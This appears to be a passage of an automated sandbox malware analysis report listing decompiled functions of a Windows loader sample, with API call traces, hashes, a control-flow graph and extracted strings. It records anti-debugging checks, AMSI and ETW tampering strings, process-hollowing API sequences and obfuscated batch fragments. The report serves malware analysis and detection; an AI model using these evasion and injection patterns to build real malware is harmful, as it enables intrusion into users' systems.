                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: String$Path$AllocDeleteFileFreeInitNameName_Unicode
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1694942484-0
                                                                                                                                                                      • Opcode ID: 3a1dd34f2980e77aa5963b4b5bb69b0fda0b01696d306a22671137054ebbd81f
                                                                                                                                                                      • Instruction ID: c5d1760c7a5fabef8b726e2d10c6cfc73e973a342b43c00c951d281ee1b89807
                                                                                                                                                                      • Opcode Fuzzy Hash: 3a1dd34f2980e77aa5963b4b5bb69b0fda0b01696d306a22671137054ebbd81f
                                                                                                                                                                      • Instruction Fuzzy Hash: 61014471944309BADB14EBE0CC61FCEB7BDEB08704F504471E502E6580EB74AF04DA60
                                                                                                                                                                      Function 02CA6D48 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CA6CEC: CLSIDFromProgID.OLE32(00000000,?,00000000,02CA6D39,?,?,?,00000000), ref: 02CA6D19
                                                                                                                                                                      • CoCreateInstance.OLE32(?,00000000,00000005,02CA6E2C,00000000,00000000,02CA6DAB,?,00000000,02CA6E1B), ref: 02CA6D97
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CreateFromInstanceProg
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2151042543-0
                                                                                                                                                                      • Opcode ID: 8a26069c3d6f646e4c11b4befee1838dfb0fbcf26116db1738e2e0eeed2b5c94
                                                                                                                                                                      • Instruction ID: 613c74337029182d65d656565dc82b4178bad80a4687797cf75b09513684c5fd
                                                                                                                                                                      • Opcode Fuzzy Hash: 8a26069c3d6f646e4c11b4befee1838dfb0fbcf26116db1738e2e0eeed2b5c94
                                                                                                                                                                      • Instruction Fuzzy Hash: 5601F271608749AEEF15DF64DC3286BBBBDE749B14BA20835F501E2680E6359900D960
                                                                                                                                                                      Function 02CAEC6C Relevance: 243.3, APIs: 11, Strings: 122, Instructions: 10535filesleepCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • InetIsOffline.URL(00000000,00000000,02CBAF99,?,?,?,000002F7,00000000,00000000), ref: 02CAECA6
                                                                                                                                                                        • Part of subcall function 02CA881C: LoadLibraryA.KERNEL32(00000000,00000000,02CA8903), ref: 02CA8850
                                                                                                                                                                        • Part of subcall function 02CA881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02CA8903), ref: 02CA8860
                                                                                                                                                                        • Part of subcall function 02CA881C: GetProcAddress.KERNEL32(74AE0000,00000000), ref: 02CA8879
                                                                                                                                                                        • Part of subcall function 02CA881C: FreeLibrary.KERNEL32(74AE0000,00000000,02CF1388,Function_000065D8,00000004,02CF1398,02CF1388,000186A3,00000040,02CF139C,74AE0000,00000000,00000000,00000000,00000000,02CA8903), ref: 02CA88E3
                                                                                                                                                                        • Part of subcall function 02CAEB8C: GetModuleHandleW.KERNEL32(KernelBase,?,02CAEF90,UacInitialize,02CF137C,02CBAFD0,UacScan,02CF137C,02CBAFD0,ScanBuffer,02CF137C,02CBAFD0,OpenSession,02CF137C,02CBAFD0,ScanString), ref: 02CAEB92
                                                                                                                                                                        • Part of subcall function 02CAEB8C: GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02CAEBA4
                                                                                                                                                                        • Part of subcall function 02CAEBE8: GetModuleHandleW.KERNEL32(KernelBase), ref: 02CAEBF8
                                                                                                                                                                        • Part of subcall function 02CAEBE8: GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02CAEC0A
                                                                                                                                                                        • Part of subcall function 02CAEBE8: CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02CAEC21
                                                                                                                                                                        • Part of subcall function 02C97E10: GetFileAttributesA.KERNEL32(00000000,?,02CAF8C4,ScanString,02CF137C,02CBAFD0,OpenSession,02CF137C,02CBAFD0,ScanString,02CF137C,02CBAFD0,UacScan,02CF137C,02CBAFD0,UacInitialize), ref: 02C97E1B
                                                                                                                                                                        • Part of subcall function 02C9C2E4: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02DE58C8,?,02CAFBF6,ScanBuffer,02CF137C,02CBAFD0,OpenSession,02CF137C,02CBAFD0,ScanBuffer,02CF137C,02CBAFD0,OpenSession), ref: 02C9C2FB
                                                                                                                                                                        • Part of subcall function 02CADBA8: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02CADC78), ref: 02CADBE3
                                                                                                                                                                        • Part of subcall function 02CADBA8: NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,02CADC78), ref: 02CADC13
                                                                                                                                                                        • Part of subcall function 02CADBA8: NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 02CADC28
                                                                                                                                                                        • Part of subcall function 02CADBA8: NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 02CADC54
                                                                                                                                                                        • Part of subcall function 02CADBA8: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 02CADC5D
                                                                                                                                                                        • Part of subcall function 02C97E34: GetFileAttributesA.KERNEL32(00000000,?,02CB2A41,ScanString,02CF137C,02CBAFD0,OpenSession,02CF137C,02CBAFD0,ScanBuffer,02CF137C,02CBAFD0,OpenSession,02CF137C,02CBAFD0,Initialize), ref: 02C97E3F
                                                                                                                                                                        • Part of subcall function 02C97FC8: CreateDirectoryA.KERNEL32(00000000,00000000,?,02CB2BDF,OpenSession,02CF137C,02CBAFD0,ScanString,02CF137C,02CBAFD0,Initialize,02CF137C,02CBAFD0,ScanString,02CF137C,02CBAFD0), ref: 02C97FD5
                                                                                                                                                                        • Part of subcall function 02CADAC4: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02CADB96), ref: 02CADB03
                                                                                                                                                                        • Part of subcall function 02CADAC4: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02CADB3D
                                                                                                                                                                        • Part of subcall function 02CADAC4: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02CADB6A
                                                                                                                                                                        • Part of subcall function 02CADAC4: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02CADB73
                                                                                                                                                                        • Part of subcall function 02CA8798: LoadLibraryW.KERNEL32(bcrypt,?,00000864,00000000,02CF13A4,02CAA3BF,ScanString,02CF13A4,02CAA774,ScanBuffer,02CF13A4,02CAA774,Initialize,02CF13A4,02CAA774,UacScan), ref: 02CA87AC
                                                                                                                                                                        • Part of subcall function 02CA8798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02CA87C6
                                                                                                                                                                        • Part of subcall function 02CA8798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000864,00000000,02CF13A4,02CAA3BF,ScanString,02CF13A4,02CAA774,ScanBuffer,02CF13A4,02CAA774,Initialize), ref: 02CA8802
                                                                                                                                                                        • Part of subcall function 02CA8704: LoadLibraryW.KERNEL32(amsi), ref: 02CA870D
                                                                                                                                                                        • Part of subcall function 02CA8704: FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02CA876C
                                                                                                                                                                      • Sleep.KERNEL32(00002710,00000000,00000000,ScanBuffer,02CF137C,02CBAFD0,OpenSession,02CF137C,02CBAFD0,ScanBuffer,02CF137C,02CBAFD0,OpenSession,02CF137C,02CBAFD0,02CBB328), ref: 02CB49AF
                                                                                                                                                                        • Part of subcall function 02CADA3C: RtlInitUnicodeString.NTDLL(?,?), ref: 02CADA64
                                                                                                                                                                        • Part of subcall function 02CADA3C: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02CADAB6), ref: 02CADA7A
                                                                                                                                                                        • Part of subcall function 02CADA3C: NtDeleteFile.NTDLL(?), ref: 02CADA99
                                                                                                                                                                      • MoveFileA.KERNEL32(00000000,00000000), ref: 02CB4BAF
                                                                                                                                                                      • MoveFileA.KERNEL32(00000000,00000000), ref: 02CB4C05
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.1716190958.0000000002C91000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C90000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.1716160381.0000000002C90000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716334083.0000000002CBD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716492680.0000000002CF1000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE5000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.1716539597.0000000002DE8000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_2c90000_image.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: File$LibraryPath$AddressModuleNameProc$FreeHandleLoadName_$AttributesCloseCreateMove$CheckDebuggerDeleteDirectoryInetInformationInitOfflineOpenPresentQueryReadRemoteSleepStringUnicodeWrite
                                                                                                                                                                      • String ID: .url$@echo offset "EPD=sPDet "@% or%e%.%c%%h%.o%o%or$@echo offset "MJtc=Iet "@%r%e%%c%r%h%%o%$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\aken.pif$C:\Users\Public\alpha.pif$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$C:\\Windows \\SysWOW64\\$C:\\Windows \\SysWOW64\\svchost.exe$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$D2^Tyj}~TVrgoij[Dkcxn}dmu$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FX.c$FindCertsByIssuer$FlushInstructionCache$GET$GZmMS1j$GetProcessMemoryInfo$GetProxyDllInfo$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NEO.c$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$advapi32$bcrypt$dbgcore$endpointdlp$http$ieproxy$kernel32$lld.SLITUTEN$mssip32$ntdll$psapi$psapi$smartscreenps$spp$sppc$sppwmi$sys.thgiseurt$tquery$wintrust$@echo off@% %e%%c%o%h% %o%rrr% %%o%%f% %f%o%s%
                                                                                                                                                                      • API String ID: 2010126900-181751239
                                                                                                                                                                      • Opcode ID: 93a8abfe5f5afda1aa49349090ef5a154f488180cce3197af73fbbc257354a2d
                                                                                                                                                                      • Instruction ID: 2d1773a91aae616729086464fc62fa3df98e5ec844689987f26a65b6eff79da7
                                                                                                                                                                      • Opcode Fuzzy Hash: 93a8abfe5f5afda1aa49349090ef5a154f488180cce3197af73fbbc257354a2d
                                                                                                                                                                      • Instruction Fuzzy Hash: 45240C75A50129DFDF25EB64DC94ADE73BBBF84304F1041E2E049AB214DA31AE86EF41
                                                                                                                                                                      Function 02CB7870 Relevance: 160.3, APIs: 5, Strings: 85, Instructions: 2771processthreadCOMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 5348 2cb7870-2cb7c5f call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c94898 5463 2cb8ae9-2cb8c6c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c94898 5348->5463 5464 2cb7c65-2cb7e38 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c94798 call 2c9494c call 2c94d20 call 2c94d9c CreateProcessAsUserW 5348->5464 5553 2cb9418-2cbaa1d call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c * 16 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2c946a4 * 2 call 2ca881c call 2ca7b90 call 2ca8184 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c ExitProcess 5463->5553 5554 2cb8c72-2cb8c81 call 2c94898 5463->5554 5571 2cb7e3a-2cb7eb1 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c 5464->5571 5572 2cb7eb6-2cb7fc1 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c 5464->5572 5554->5553 5563 2cb8c87-2cb8f5a call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2cae538 call 2c9480c call 2c9494c call 2c946a4 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c97e10 5554->5563 5821 2cb9212-2cb9413 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c949a4 call 2ca8ba8 5563->5821 5822 2cb8f60-2cb920d call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c94d8c * 2 call 2c94734 call 2cadac4 5563->5822 5571->5572 5674 2cb7fc8-2cb82e8 call 2c949a4 call 2cadc88 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2cacf9c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c 5572->5674 5675 2cb7fc3-2cb7fc6 5572->5675 5991 2cb82ea-2cb82fc call 2ca857c 5674->5991 5992 2cb8301-2cb8ae4 call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c ResumeThread call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c CloseHandle call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2ca7ecc call 2ca8798 * 6 CloseHandle call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c call 2c9480c call 2c9494c call 2c946a4 call 2c94798 call 2c9494c call 2c946a4 call 2ca881c 5674->5992 5675->5674 5821->5553 5822->5821 5991->5992 5992->5463
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 02CA881C: LoadLibraryA.KERNEL32(00000000,00000000,02CA8903), ref: 02CA8850
                                                                                                                                                                        • Part of subcall function 02CA881C: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,02CA8903), ref: 02CA8860
                                                                                                                                                                        • Part of subcall function 02CA881C: GetProcAddress.KERNEL32(74AE0000,00000000), ref: 02CA8879
                                                                                                                                                                        • Part of subcall function 02CA881C: FreeLibrary.KERNEL32(74AE0000,00000000,02CF1388,Function_000065D8,00000004,02CF1398,02CF1388,000186A3,00000040,02CF139C,74AE0000,00000000,00000000,00000000,00000000,02CA8903), ref: 02CA88E3
                                                                                                                                                                      • CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000004,00000000,00000000,02DE57DC,02DE5820,OpenSession,02CF137C,02CBAFD0,UacScan,02CF137C), ref: 02CB7E31
                                                                                                                                                                      • ResumeThread.KERNEL32(00000000,ScanBuffer,02CF137C,02CBAFD0,OpenSession,02CF137C,02CBAFD0,UacScan,02CF137C,02CBAFD0,ScanBuffer,02CF137C,02CBAFD0,OpenSession,02CF137C,02CBAFD0), ref: 02CB847B
                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,ScanBuffer,02CF137C,02CBAFD0,OpenSession,02CF137C,02CBAFD0,UacScan,02CF137C,02CBAFD0,00000000,ScanBuffer,02CF137C,02CBAFD0,OpenSession,02CF137C), ref: 02CB85FA
                                                                                                                                                                        • Part of subcall function 02CA8798: LoadLibraryW.KERNEL32(bcrypt,?,00000864,00000000,02CF13A4,02CAA3BF,ScanString,02CF13A4,02CAA774,ScanBuffer,02CF13A4,02CAA774,Initialize,02CF13A4,02CAA774,UacScan), ref: 02CA87AC
                                                                                                                                                                        • Part of subcall function 02CA8798: GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 02CA87C6
                                                                                                                                                                        • Part of subcall function 02CA8798: FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,00000864,00000000,02CF13A4,02CAA3BF,ScanString,02CF13A4,02CAA774,ScanBuffer,02CF13A4,02CAA774,Initialize), ref: 02CA8802
                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,00000000,ScanBuffer,02CF137C,02CBAFD0,UacInitialize,02CF137C,02CBAFD0,ScanBuffer,02CF137C,02CBAFD0,OpenSession,02CF137C,02CBAFD0,UacScan,02CF137C), ref: 02CB89EC
                                                                                                                                                                        • Part of subcall function 02C97E10: GetFileAttributesA.KERNEL32(00000000,?,02CAF8C4,ScanString,02CF137C,02CBAFD0,OpenSession,02CF137C,02CBAFD0,ScanString,02CF137C,02CBAFD0,UacScan,02CF137C,02CBAFD0,UacInitialize), ref: 02C97E1B
                                                                                                                                                                        • Part of subcall function 02CADAC4: RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,02CADB96), ref: 02CADB03
                                                                                                                                                                        • Part of subcall function 02CADAC4: NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02CADB3D
                                                                                                                                                                        • Part of subcall function 02CADAC4: NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 02CADB6A
                                                                                                                                                                        • Part of subcall function 02CADAC4: NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 02CADB73
                                                                                                                                                                        • Part of subcall function 02CA8184: FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02CA820E), ref: 02CA81F0
